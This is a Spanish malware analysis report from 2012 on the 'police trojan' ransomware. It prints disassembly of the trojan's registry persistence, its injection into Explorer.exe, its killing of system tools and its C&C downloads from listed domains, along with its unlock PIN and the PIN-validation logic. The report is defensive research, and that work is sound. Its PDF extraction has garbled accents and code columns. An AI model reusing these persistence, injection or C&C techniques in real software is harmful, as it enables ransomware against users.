Vous êtes sur la page 1sur 23

Documento tcnico: Estudio del troyano de la polica Marzo 2012

Marcin Icewall Noga martin@hispasec.com Sergio de los Santos ssantos@hispasec.com

HISPASEC SISTEMAS SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

HISPASEC SISTEMAS

ndice
1 2 2.1 2.2 2.3 2.4 2.5 2.6 2.7 2.8 2.9 INTRODUCCIN ANLISIS TCNICO VIRUSTOTAL CDIGO INICIAL EJECUCIN SIN ARGUMENTOS EJECUCIN CON EL PARMETRO B EL HILO THREADPINWINDOW UKASH CALCULAR SI UN PIN DE UKASH ES VLIDO PAYSAFECARD EJECUCIN CON EL PARMETRO I 3 6 6 7 7 9 16 17 18 21 23 23

2.10 EJECUCIN CON EL PARMETRO U

Hispasec Sistemas S.L.


Avda Juan Lpez Pealver, 17 Edificio Centro de Empresas CEPTA Parque Tecnolgico de Andaluca 29590 Campanillas (Mlaga) Telf: Fax: (+34) 902 161 025 (+34) 952 028 694

Informacin General info@hispasec.com Comercial comercial@hispasec.com

www.hispasec.com www.hispasec.com

Copyright
El Copyright de este documento es propiedad de Hispasec Sistemas S.L. Hispasec Sistemas S.L. proporciona este documento bajo la condicin de que ser tratado con confidencialidad. No est permitida su reproduccin total o parcial ni su uso con otras organizaciones para ningn otro propsito, excepto autorizacin previa por escrito.

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

1 Introduccin
De un tiempo a esta parte el virus de la polica se ha convertido en una epidemia en toda Europa. El que actualmente est invadiendo los sistemas operativos Windows de los usuarios, parece una variante de una primera muestra encontrada en el verano de 2011. Esta muestra bloqueaba el sistema en el arranque, con una pantalla como esta que impeda el acceso al escritorio:

De este troyano realizamos un vdeo, disponible en:

http://www.youtube.com/embed/4KtjhILjdjM

Se colocaba en la entrada shell del registro. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell Ms tarde, a finales de ao, parece que el malware se profesionaliz. Se hizo dependiente de una infraestructura ms compleja, y comenz una distribucin profesional por toda Europa. Este malware bloqueaba igualmente el sistema con varias imgenes segn el pas y versin:

www.hispasec.com

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

www.hispasec.com

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

Estos se introducen en un punto mucho ms visible del registro para arrancarse: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pero en general resulta en una muestra mucho ms compleja que es la que estudiaremos.

www.hispasec.com

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

Paralelamente, en Hispasec observamos la presencia de un imitador o una variante ms simple y menos popular (quizs auspiciada por el xito de la anterior). La imagen con la que bloquea el sistema es esta:

Este tena la peculiaridad de destrozar el sistema de arranque en modo seguro del registro (F8), mtodo que suelen usar las vctimas para poder deshacerse del malware.

2 Anlisis tcnico
Ante el inters que est alcanzando el asunto en toda Europa, con una de las epidemias ms virulentas de los ltimos tiempos, hemos analizado una muestra en profundidad.

2.1 VirusTotal
Un resumen de las fechas de llegada y deteccin por firmas en VirusTotal son:

2012/02/24 20:44 2012/02/27 15:40 2012/03/03 10:22 2012/03/09 11:42 2012/03/17 23:21

Detectado por 4 de 43 motores Detectado por 4 de 43 motores Detectado por 27 de 43 motores Detectado por 29 de 43 motores Detectado por 31 de 43 motores

www.hispasec.com

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

2.2 Cdigo inicial


El troyano se encuentra empaquetado con una funcin simple. Lo primero que muestra es una serie de opciones para la funcin principal. .text:00401285 .text:0040128B .text:0040128C .text:00401292 .text:00401294 .text:00401296 .text:0040129C .text:0040129E .text:004012A0 .text:004012A2 .text:004012A2 loc_4012A2: .text:004012A2 .text:004012A5 .text:004012A7 .text:004012A9 .text:004012AD .text:004012AF .text:004012B3 .text:004012B6 .text:004012B8 .text:004012BB .text:004012BD .text:004012C0 .text:004012C2 .text:004012C9 call push call test jz mov xor test jle ds:GetCommandLineW eax ; _DWORD ds:CommandLineToArgvW eax, eax short no_args_run esi, [ebp+argc] edx, edx esi, esi short loc_4012DB ; ecx, [eax+edx*4] ecx, ecx short loc_4012D6 word ptr [ecx], '-' short loc_4012D6 ecx, word ptr [ecx+2] ecx, 'b' short loc_4012CF ecx, 'i' short loc_4012CB ecx, 'u' short loc_4012D6 [ebp+u_flag], 1 short loc_4012D6

mov test jz cmp jnz movzx cmp jz cmp jz cmp jnz mov jmp

Esto indica que acepta tres parmetros para ejecutarse:

-b -i -u Sin parmetros (que estudiamos a continuacin).

2.3 Ejecucin sin argumentos


Si el troyano se ejecuta sin argumentos, acude a la funcin alojada en sub_401000

.text:004012FA no_args_run: .text:004012FA .text:004012FF .text:004012FF loc_4012FF: .text:004012FF .text:00401301 Que se corresponde con: .text:00401035 .text:00401039 .text:0040103A .text:0040103F

call

sub_401000

push call

0 ds:ExitProcess

; uExitCode

www.hispasec.com

lea push push mov

ecx, [esp+42Ch+AppDataPath] ecx ; lpDst offset Src ; "%APPDATA%" esi, eax

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:00401041 .text:00401047 .text:0040104C .text:00401051 .text:00401056 .text:0040105A .text:0040105B "%s\\%s\\%s%s" .text:00401060 .text:00401065 .text:00401066 .text:0040106C .text:0040106F lpSecurityAttributes .text:00401071 .text:00401072

call push push push lea push push push push call add push push call

ds:ExpandEnvironmentStringsW offset byte_406124 offset byte_406124 offset ValueName ; "kodak" edx, [esp+434h+AppDataPath] edx offset aSSSS ; 104h esi ds:wnsprintfW esp, 1Ch 0 ; _DWORD ; _DWORD

esi ; lpPathName ds:CreateDirectoryW

Utiliza la variable de entorno %APPDATA% para crear un directorio llamado Kodak. Este directorio se corresponde en XP con c:\Documents and Settings\userName\Application Data\kodak\ y en Windows Vista y 7 con: c:\users\userName\Application Data\kodak\ Es una opcin inteligente, puesto que en estos directorios el usuario podr escribir, aunque no sea administrador del sistema. Tras la creacin del directorio el troyano intenta crear un mutex llamado jwefweqwwewqeqwe, para saber si el troyano ha inyectado ya el cdigo en el proceso Explorer.exe (encargado de dibujar el escritorio). Si ya lo ha hecho e intenta infectar otra vez el sistema, aparece este mensaje: .text:004011F9 mutex_exists: .text:004011F9 .text:004011FB .text:00401200 .text:00401205 .text:00401207 push push push push call 0 ; offset unk_40617C offset unk_4061D0 0 ; ds:MessageBoxW _DWORD ; _DWORD ; _DWORD _DWORD

Esto se trata probablemente de cdigo de control (debuggeo) que finalmente no ha sido eliminado de la versin final del troyano. Se comprueba que est escrito en C++ y que, como ya suponamos, los autores son de Europa del Este.

En el texto se puede leer algo como: "Mutex encontrado. Error de instalacin. Salir."
www.hispasec.com

Siguiendo con el comportamiento del troyano:

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:004010A3 .text:004010A8 .text:004010AA .text:004010AB .text:004010B1 .text:004010B6 .text:004010BA .text:004010BB .text:004010C0 .text:004010C2 .text:004010C8 .text:004010CD .text:004010D2 .text:004010D7 .text:004010DB .text:004010DC "%s\\%s\\%s%s" .text:004010E1 .text:004010E6 .text:004010E7 .text:004010ED .text:004010F0 .text:004010F2 .text:004010F3 .text:004010F8 lpExistingFileName .text:004010F9

push push push call push lea push push mov call push push push lea push push push push call add push push call push call

104h ; dwBytes 8 ; dwFlags eax ; hHeap ds:HeapAlloc 208h ; nSize ecx, [esp+42Ch+AppDataPath] ecx ; lpDst offset Src ; "%APPDATA%" esi, eax ds:ExpandEnvironmentStringsW offset a_exe ; ".exe" offset ValueName ; "kodak" offset ValueName ; "kodak" edx, [esp+434h+AppDataPath] edx offset aSSSS ; 104h esi ds:wnsprintfW esp, 1Ch 0 esi getFilePath eax ds:CopyFileW ; _DWORD ; _DWORD

; bFailIfExists ; lpNewFileName ;

Se comprueba que se copia a s mismo al directorio Kodak como Kodak.exe. Entonces es cuando acude al registro para crear la clave: HKEY_CURRENT_USER\ software\microsoft\windows\currentversion\run A crear una clave con esta informacin: C:\Documents and Settings\virtual\Application Data\kodak\kodak.exe b As, tras el primer reinicio del sistema, el troyano se ejecutar con el parmetro -b. .text:004011B6 .text:004011BB .text:004011C0 .text:004011C5 .text:004011C6 kodak.exe b mov mov call push call ebx, offset a_exe ; ".exe" edi, offset ValueName ; "kodak" getKodakPath ; create path to kodak.exe eax ; lpApplicationName exec ; exec via CreateProcess

2.4 Ejecucin con el parmetro b


Esta parte es interesante. .text:004013A1 @b_flag: start+BCj .text:004013A1 .text:004013A7 .text:004013AC .text:004013AE .text:004013AF .text:004013B5 .text:004013BA .text:004013C0 ; CODE XREF: mov push push push call push lea push ecx, ds:hHeap 104h 8 ecx ds:HeapAlloc 208h edx, [ebp+Dst] edx

; dwBytes ; dwFlags ; hHeap ; nSize ; lpDst

www.hispasec.com

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:004013C1 .text:004013C6 .text:004013C8 .text:004013CE .text:004013D3 .text:004013D8 .text:004013DD .text:004013E3 .text:004013E4 "%s\\%s\\%s%s" .text:004013E9 .text:004013EE .text:004013EF .text:004013F5 .text:004013F8 .text:004013FA dwFlagsAndAttributes .text:004013FF dwCreationDisposition .text:00401401 lpSecurityAttributes .text:00401403 .text:00401405 dwDesiredAccess .text:0040140A .text:0040140B .text:00401411 .text:00401414 .text:00401416 .text:00401417 .text:0040141D

push mov call push push push lea push push push push call add push push push push push push push call cmp jnz push call jmp

offset Src ; "%APPDATA%" esi, eax ds:ExpandEnvironmentStringsW offset a_txt ; ".txt" offset aPinok ; "pinok" offset ValueName ; "kodak" eax, [ebp+Dst] eax offset aSSSS ; 104h esi ds:wnsprintfW esp, 1Ch 0 80h OPEN_EXISTING 0 1 80000000h ; _DWORD ; _DWORD

; hTemplateFile ; ; ; ; dwShareMode ;

esi ; lpFileName ds:CreateFileW eax, 0FFFFFFFFh short file_exists eax ; hObject ds:CloseHandle there_is_no_file

Lo primero que hace es intentar abrir el fichero pinok.txt. Qu pasa si existe? .text:00401422 file_exists: start+1E4j .text:00401422 .text:00401423 .text:00401429 key entry .text:0040142E .text:00401434 .text:00401439 .text:0040143B .text:0040143C .text:00401442 .text:00401447 .text:0040144D .text:0040144E .text:00401453 .text:00401455 .text:0040145B .text:00401460 .text:00401465 .text:0040146A .text:00401470 .text:00401471 "%s\\%s\\%s%s" .text:00401476 .text:0040147B ; CODE XREF: push call call mov push push push call push lea push push mov call push push push lea push push push push eax ; hObject ds:CloseHandle remove_b_flag ; remove autorun ecx, ds:hHeap 104h ; dwBytes 8 ; dwFlags ecx ; hHeap ds:HeapAlloc 208h ; nSize edx, [ebp+Dst] edx ; lpDst offset Src ; "%APPDATA%" esi, eax ds:ExpandEnvironmentStringsW offset a_exe ; ".exe" offset ValueName ; "kodak" offset ValueName ; "kodak" eax, [ebp+Dst] eax offset aSSSS ; 104h esi ; _DWORD ; _DWORD

www.hispasec.com

10

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:0040147C .text:00401482 .text:00401488 .text:0040148B .text:0040148C .text:0040148E .text:00401494 .text:00401499 .text:0040149B .text:0040149C .text:004014A2 .text:004014A7 .text:004014AD .text:004014AE .text:004014B3 .text:004014B5 .text:004014BB .text:004014C0 .text:004014C5 .text:004014CA .text:004014D0 .text:004014D1 "%s\\%s\\%s%s" .text:004014D6 .text:004014DB .text:004014DC .text:004014E2 .text:004014E5 .text:004014E6 .text:004014E8 .text:004014EA

call mov add push call mov push push push call push lea push push mov call push push push lea push push push push call add push call push call

ds:wnsprintfW edi, ds:DeleteFileW_0 esp, 1Ch esi ; _DWORD edi ; DeleteFileW_0 ecx, ds:hHeap 104h ; dwBytes 8 ; dwFlags ecx ; hHeap ds:HeapAlloc 208h ; nSize edx, [ebp+var_20C] edx ; lpDst offset Src ; "%APPDATA%" esi, eax ds:ExpandEnvironmentStringsW offset a_tmp ; ".tmp" offset aOld ; "old" offset ValueName ; "kodak" eax, [ebp+var_20C] eax offset aSSSS ; 104h ; _DWORD esi ; _DWORD ds:wnsprintfW esp, 1Ch esi ; _DWORD edi ; DeleteFileW_0 0 ; uExitCode ds:ExitProcess

O sea, si mientras se ejecuta con el parmetro b, existe el fichero pinok.txt, el troyano se elimina a s mismo del registro e intenta eliminar su propio ejecutable. Obviamente no podr porque est en ejecucin. Pero al menos en el siguiente reinicio nos permitir acceder al sistema. Qu es PINok.txt? Pues es el fichero que se crea cuando pagamos el rescate... Esto es, cuando a travs de Ukash o PaysafeCard se introduce un cdigo vlido. Lo curioso es que el troyano no comprueba el contenido del archivo de texto, as que con solo existir en el directorio un PINok.txt (aunque sea vaco), el malware desaparecer. Pero sigamos imaginando que no se ha creado el fichero. En ese momento, el troyano comprueba de nuevo el mutex y si no existe intenta abrir pic.bmp. .text:00401516 .text:0040151C .text:00401521 .text:00401523 .text:00401524 .text:0040152A .text:0040152F .text:00401535 .text:00401536 .text:0040153B .text:0040153D .text:00401543 .text:00401548 .text:0040154D mov push push push call push lea push push mov call push push push ecx, ds:hHeap 104h ; dwBytes 8 ; dwFlags ecx ; hHeap ds:HeapAlloc 208h ; nSize edx, [ebp+var_20C] edx ; lpDst offset Src ; "%APPDATA%" esi, eax ds:ExpandEnvironmentStringsW offset a_bmp ; ".bmp" offset aPic ; "pic" offset ValueName ; "kodak"

www.hispasec.com

11

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:00401552 .text:00401558 .text:00401559 "%s\\%s\\%s%s" .text:0040155E .text:00401563 .text:00401564 .text:0040156A .text:0040156D .text:0040156F dwFlagsAndAttributes .text:00401574 dwCreationDisposition .text:00401576 lpSecurityAttributes .text:00401578 .text:0040157A dwDesiredAccess .text:0040157F .text:00401580 .text:00401586 .text:00401589 Como por ahora no existe: .text:0040158F .text:00401590 .text:00401596 .text:0040159B .text:0040159C bInheritHandle .text:0040159E dwDesiredAccess .text:004015A3 .text:004015A9 .text:004015AB .text:004015AD .text:004015B3 .text:004015B4 .text:004015B9 .text:004015BB .text:004015BE .text:004015C0 .text:004015C2 .text:004015C4 .text:004015CA .text:004015CC dwCreationFlags .text:004015CE .text:004015D3 .text:004015D5 .text:004015D7 .text:004015D9 lpStartAddress .text:004015DA .text:004015DC lpThreadAttributes .text:004015DE .text:004015DF .text:004015E5

lea push push push push call add push push push push push push push call cmp jnz

eax, [ebp+var_20C] eax offset aSSSS ; 104h esi ds:wnsprintfW esp, 1Ch 0 80h OPEN_EXISTING 0 1 80000000h ; _DWORD ; _DWORD

; hTemplateFile ; ; ; ; dwShareMode ;

esi ; lpFileName ds:CreateFileW eax, 0FFFFFFFFh bmp_file_exists

push call call push push push call push mov call push call mov add test jz push call push push mov push add sub push push push push call

eax ds:CloseHandle getExplorerPID eax 0 47Ah

; hObject

; dwProcessId ; ;

ds:OpenProcess 0 ; lpModuleName esi, eax ds:GetModuleHandleW esi code_injection edi, eax esp, 4 edi, edi short no_mutex 0 ; lpModuleName ds:GetModuleHandleW 0 ; lpThreadId 0 ; ecx, offset sub_4022A0 0 ; lpParameter ecx, edi ecx, eax ecx ; 0 0 ; dwStackSize ;

www.hispasec.com

esi ; hProcess ds:CreateRemoteThread

12

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:004015E5 no_mutex: start+390j .text:004015E5 .text:004015E5 dwMilliseconds .text:004015EA .text:004015F0 "jwefweqwwewqeqwe" .text:004015F5 bInheritHandle .text:004015F7 dwDesiredAccess .text:004015FC .text:00401602 .text:00401604 .text:00401605 .text:00401608 .text:0040160E .text:00401610

; CODE XREF: ; start+3E0j ;

push call push push push call test push setnz call test jnz

4000 ds:Sleep offset Name 0 1F0001h ds:OpenMutexW eax, eax eax bl ds:CloseHandle bl, bl short no_mutex

; ; ;

; hObject

El malware inyecta todo el ejecutable desempacado (s, todo, no solo la parte de cdigo necesaria) en Explorer.exe y espera a la creacin del mutex. Para inyectarlo utiliza CreateRemoteThread. Vamos a ver qu hay en sub_4022A0: .text:0040233A mov .text:0040233F mov .text:00402346 push .text:00402347 push "/%s?getpic=getpic" .text:0040234C lea .text:00402353 push .text:00402358 push .text:00402359 call .text:0040235F mov .text:00402365 mov lpszServerName .text:0040236C lea .text:00402373 push .text:00402374 lea .text:00402378 call getRequest(domain,scriptPath,response) .text:0040237D add .text:00402380 push .text:00402385 mov response .text:00402387 push .text:00402388 call .text:0040238E test .text:00402390 jz .text:00402396 mov .text:0040239B push .text:004023A0 push .text:004023A2 push .text:004023A3 call .text:004023A9 push .text:004023AE lea .text:004023B5 push .text:004023B6 push .text:004023BB mov .text:004023BD call eax, ds:C_i_C_index ecx, ds:scripts_array[eax*4] ecx offset aS?getpicGetpic ; edx, [esp+ scriptPath] 104h ; _DWORD edx ; _DWORD ds:wnsprintfA ecx, ds:C_i_C_index ecx, ds:domains_array[ecx*4] ; eax, [esp+scriptPath] eax edi, [esp+response] getRequest ; esp, 14h offset aHttp edx, edi

; "http://" ; edi =

www.hispasec.com

edx ; _DWORD ds:StrStrIA eax, eax no_pic_url eax, ds:hHeap 104h ; dwBytes 8 ; dwFlags eax ; hHeap ds:HeapAlloc 208h ; nSize ecx, [esp+234h] ecx ; lpDst offset Src ; "%APPDATA%" esi, eax ds:ExpandEnvironmentStringsW

13

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:004023C3 push offset a_bmp ; ".bmp" .text:004023C8 push offset aPic ; "pic" .text:004023CD push offset ValueName ; "kodak" .text:004023D2 lea edx, [esp+23Ch] .text:004023D9 push edx .text:004023DA push offset aSSSS ; "%s\\%s\\%s%s" .text:004023DF push 104h ; _DWORD .text:004023E4 push esi ; _DWORD .text:004023E5 call ds:wnsprintfW .text:004023EB add esp, 1Ch .text:004023EE push 0 ; lpName .text:004023F0 push 0 ; bInitialState .text:004023F2 push 1 ; bManualReset .text:004023F4 push 0 ; lpEventAttributes .text:004023F6 call ds:CreateEventW .text:004023FC push 0 ; dwFlags .text:004023FE push 0 ; lpszProxyBypass .text:00402400 push 0 ; lpszProxy .text:00402402 push 0 ; dwAccessType .text:00402404 push offset szAgent ; "Mozilla/4.0 (compatible; MSlE 6.0; Wind"... .text:00402409 mov ds:hEventPackage, eax .text:0040240E call ds:InternetOpenA .text:00402414 push 0 ; dwContext .text:00402416 push 84043300h ; dwFlags .text:0040241B push 0 ; dwHeadersLength .text:0040241D push 0 ; lpszHeaders .text:0040241F mov ecx, edi .text:00402421 push ecx ; lpszUrl .text:00402422 push eax ; hInternet .text:00402423 mov ds:hInternet, eax .text:00402428 call ds:InternetOpenUrlA .text:0040242E mov edi, eax ; eax = hInternetOpenUrl .text:00402430 test edi, edi .text:00402432 jz short loc_402442 .text:00402434 mov ecx, esi ; esi = pathToBMPFile .text:00402436 call downloadFileTo ; downloadFileTo(pathToBMPFile, hInternetOpenUrl) El troyano va construyendo una URL que apunta a su vez a un script que devuelve a su vez una URL cuyo contenido ser almacenada como pic.bmp. Esto lo hace para elegir la imagen correcta segn el pas (se calcula del lado del servidor calculando de dnde le viene la peticin). La creacin de las URL tiene algunas curiosidades. C_i_C_index: Este es el ndice del C&C que se mueve en un rango de 0 a 19. scripts_array: Contiene las rutas al script. Sus elementos son:

www.hispasec.com

1. 2. 3. 4. 5.

"loc/gate.php" "loc/gate.php" "loc/gate.php" "loc/gate.php" "loc/gate.php"

14

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20.

"loc/gate.php" "zip/gate.php" "pic8/gate.php" "win/gate.php" "prog/gate.php" "tron/gate.php" "milk/gate.php" "zerro/gate.php" "code/gate.php" "plea/gate.php" "zuum/gate.php" "leex/gate.php" "mozy/gate.php" "like/gate.php" "cow/gate.php"

domains_array: Contiene los dominios C&C que consulta. Su contenido es:

1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20.

"lertionk02.be". "lertionk03.be" "lertionk04.be" "lertionk05.be" "lertionk06.be" "lertionk07.be" "localhost7" "localhost8" "localhost9" "localhost10" "localhost11" "localhost12" "localhost13" "localhost14" "localhost15" "localhost16" "localhost17" "localhost18" "localhost19" "localhost20"

Localhost? S... Nos sabemos si se trata quizs de otro resto de las pruebas del creador. Despus de descargar pic.bmp (que contendr la imagen adecuada que se muestra segn el pas desde el que se haga la solicitud) el troyano acude a las URL arriba mencionadas, pero con los parmetros getip=getip. As, conociendo nuestra IP externa, la almacena en ip.txt. Esto lo usar para incrustar la IP en la imagen y dar credibilidad a la estafa. Existe otro escenario que se puede dar. Y si en vez de la IP, la consulta devuelve un comando del?
www.hispasec.com

.text:004024F4 .text:004024F9

push lea

offset aDel ecx, [esp+24h]

; "del"

15

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:004024FD .text:004024FE .text:00402504 .text:00402506 .text:0040250C .text:00402511 .text:00402517 .text:0040251C .text:0040251E .text:0040251F .text:00402525 .text:00402527 .text:0040252C .text:00402533 .text:00402534 .text:00402539 .text:0040253F .text:00402544 .text:00402549 .text:0040254E [...]

push call test jz call mov push push push call mov push lea push push call push push push lea

ecx ; _DWORD ds:StrStrIA eax, eax loc_402686 remove_b_flag edx, ds:hHeap 104h ; dwBytes 8 ; dwFlags edx ; hHeap ds:HeapAlloc esi, eax 208h ; nSize eax, [esp+234h] eax ; lpDst offset Src ; "%APPDATA%" ds:ExpandEnvironmentStringsW offset a_bmp ; ".bmp" offset aPic ; "pic" offset ValueName ; "kodak" ecx, [esp+23Ch]

El troyano intenta borrar pic.bmp, kodak.exe, ip.txt y old.tmp (veremos qu es este ltimo ms adelante). O sea, desde el servidor se le puede dar una orden a todos los infectados de que se desinfecten ellos mismos. Hasta ahora, este es el cdigo inyectado en Explorer.exe. Volvamos a Kodak.exe. El troyano comprueba si se ha creado bien el fichero BMP. Si es as, intenta borrar el fichero old.tmp y despus vuelve a crear dos hilos:

threadPinWindow: Responsable de la pantalla que bloquea el sistema. threadAntiTools: Responsable de matar los procesos de cierto software: taskmgr.exe, regedit.exe, seth.exe, msconfig.exe, utilman.exe y narrator.exe.

2.5 El hilo threadPinWindow


Este proceso, responsable de pintar la imagen en pantalla, carga tambin la direccin IP de ip.txt (para que aparezca en la imagen incrustada) y contiene dos botones radio para diferenciar si el pago viene de Ukash o PaySafeCard. Tambin una caja para meter el PIN y el botn de Ok. Para mostrarlo, hemos sustituido pic.bmp con otra imagen ms sencilla y cargado el troyano.

www.hispasec.com

16

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

Qu ocurre cuando se pulsa OK? .text:00404F90 sub .text:00404F95 jz ... .text:0040514C mov .text:00405151 push .text:00405156 push .text:0040515B push .text:0040515C call .text:00405162 push "1029384756" .text:00405167 push .text:0040516C call .text:00405172 test .text:00405174 jz .text:00405176 push .text:00405178 call .text:0040517E .text:0040517E no_universal_pin: WindowProc+5E4j eax, 10002 btnOKClicked eax, ds:hEdit 104h ; _DWORD offset buffer ; _DWORD eax ; _DWORD ds:GetWindowTextW offset a1029384756 ; offset buffer ; _DWORD ds:StrStrIW eax, eax short no_universal_pin 0 ; _DWORD ds:PostQuitMessage ; CODE XREF:

El troyano compara lo que se introduce en la caja con el PIN universal que contienen en su cdigo 1029384756. Esta es la forma ms sencilla de deshacerse del troyano. La ventana de destruye si el cdigo coincide. Si no, dependiendo del tipo de cdigo elegido (Ukash o PaySafeCard)...

2.6 Ukash
.text:0040517E .text:00405185 .text:0040518B .text:00405190 .text:00405192 cmp jz call test jz byte ptr ds:radioButtonFlag, 0 Paysafecard_button_checked checkPIN al, al bad_pin

www.hispasec.com

17

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

.text:00405198 code .text:0040519D .text:004051A2 .text:004051A7 .text:004051AA .text:004051AC .text:004051B1 .text:004051B6 .text:004051BB .text:004051BD

push mov call add push mov mov call mov call

offset buffer

; passed pin

edi, offset aPinok ; "pinok" writeToFile esp, 4 0 ebx, offset a_exeI ; ".exe -i" edi, offset ValueName ; "kodak" getKodakPath esi, eax regChangeKodak

Si checkPIN devuelve True, se almacena el pin en pinok.txt y se modifica el valor del registro de: %APPDATA%\kodak.exe b a %APPDATA%\kodak.exe i De forma que en el siguiente reinicio, se lanzar con ese parmetro. Hemos traducido CheckPIN a C++.

2.7 Calcular si un PIN de Ukash es vlido


#include "stdafx.h" #include <Windows.h> #include <Shlwapi.h> #pragma comment(lib,"Shlwapi.lib")

int main(int argc, char* argv[]) { char *pin = "6337180110129384751"; char String1[20]; char *tab[] = {"001", "011", "018", "021", "022", "023", "024", "025", "026", "027", "028",
www.hispasec.com

"029",

18

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

"030", "031", "034", "035", "036", "037", "039", "041", "042", "043", "046", "151"}; if(strlen(pin) != 19) { printf("BAD PIN sorry"); goto error; } int v1 = 0; bool pinOK = false; do { lstrcpyA(String1, "633718"); lstrcatA(String1, tab[v1]); if ( StrStrIA(pin, String1) ) pinOK = true;

printf("Correct pin base value: %s\n",String1); ++v1; } while ( v1 <= 23 );

if ( StrStrIA(pin, "0000000000000000") || StrStrIA(pin, "0000000000000001") || StrStrIA(pin, "0000000000000011") || StrStrIA(pin, "1111111111111111") || StrStrIA(pin, "2222222222222222") || StrStrIA(pin, "3333333333333333") || StrStrIA(pin, "4444444444444444")
www.hispasec.com

|| StrStrIA(pin, "5555555555555555") || StrStrIA(pin, "6666666666666666")

19

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

|| StrStrIA(pin, "7777777777777777") || StrStrIA(pin, "8888888888888888") || StrStrIA(pin, "9999999999999999") || StrStrIA(pin, "12345") || StrStrIA(pin, "6789") || StrStrIA(pin, "9876") || StrStrIA(pin, "54321") || StrStrIA(pin, "1111") || StrStrIA(pin, "2222") || StrStrIA(pin, "3333") || StrStrIA(pin, "4444") || StrStrIA(pin, "5555") || StrStrIA(pin, "6666") || StrStrIA(pin, "7777") || StrStrIA(pin, "8888") || StrStrIA(pin, "9999") || StrStrIA(pin, "0000") ) pinOK = false;

error: printf("pinOK = %d",pinOK); return 0; }

Volcando el resultado. Estos son las partes vlidas de cdigo: Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct Correct pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin pin base base base base base base base base base base base base base base base base base base base base base base base value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: value: 633718001 633718011 633718018 633718021 633718022 633718023 633718024 633718025 633718026 633718027 633718028 633718029 633718030 633718031 633718034 633718035 633718036 633718037 633718039 633718041 633718042 633718043 633718046

www.hispasec.com

20

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

Correct pin base value: 633718151 Pero solo la base, porque los cdigos, como indican las instrucciones, debe ser de 19 caracteres. Esto quiere decir que sern vlidos siempre que, por ejemplo empiecen por esas cifras, y se rellene con lo que sea hasta que contenga 19 caracteres. Pero, ojo, ese relleno no puede ser 1111,2222, o el resto de cadenas baneadas que se muestran en el cdigo de ms arriba. Para aclararlo del todo:

o o

6337181511212098234 sera vlido. 6337181511212099999 no sera vlido (porque contiene 9999 y est prohibido en su cdigo)

2.8 PaySafeCard
.text:0040536B 0 .text:00405372 .text:00405376 .text:0040537C .text:00405381 .text:00405383 .text:00405389 .text:0040538E .text:00405393 .text:00405398 .text:0040539B .text:0040539D .text:004053A2 .text:004053A7 .text:004053AC .text:004053AE cmp mov jz call test jz push mov call add push mov mov call mov call byte ptr ds:radioButtonFlag+1, ebx, [esp+60h+var_54] loc_405554 checkPINPaysafecard al, al loc_405508 offset buffer ; ip_address edi, offset aPinok ; "pinok" writeToFile esp, 4 0 ebx, offset a_exeI ; ".exe -i" edi, offset ValueName ; "kodak" getKodakPath esi, eax regChangeKodak

Hace lo mismo que en el caso de Ukash. Lo nico que cambia es la funcin para comprobar checkPin.
bool checkPINPaysafecard () { bool pinOK = true;

if ( lstrlenW(pin) == 16 ) //pin should be 16 characters long { if ( StrStrIW(&pin, L"0000000000000000") || StrStrIW(&pin, L"0000000000000001") || StrStrIW(&pin, L"0000000000000011") || StrStrIW(&pin, L"1111111111111111") || StrStrIW(&pin, L"2222222222222222") || StrStrIW(&pin, L"3333333333333333") || StrStrIW(&pin, L"4444444444444444") || StrStrIW(&pin, L"5555555555555555") || StrStrIW(&pin, L"6666666666666666")
www.hispasec.com

|| StrStrIW(&pin, L"7777777777777777")

21

HISPASEC SISTEMAS
SEGURIDAD Y TECNOLOGAS DE LA INFORMACIN

|| StrStrIW(&pin, L"8888888888888888") || StrStrIW(&pin, L"9999999999999999") || StrStrIW(&pin, L"12345") || StrStrIW(&pin, L"6789") || StrStrIW(&pin, L"9876") || StrStrIW(&pin, L"54321") || StrStrIW(&pin, L"1111") || StrStrIW(&pin, L"2222") || StrStrIW(&pin, L"3333") || StrStrIW(&pin, L"4444") || StrStrIW(&pin, L"5555") || StrStrIW(&pin, L"6666") || StrStrIW(&pin, L"7777") || StrStrIW(&pin, L"8888") || StrStrIW(&pin, L"9999") || StrStrIW(&pin, L"0000") ) pinOK = false; } else { pinOK = false; } return pinOK; }

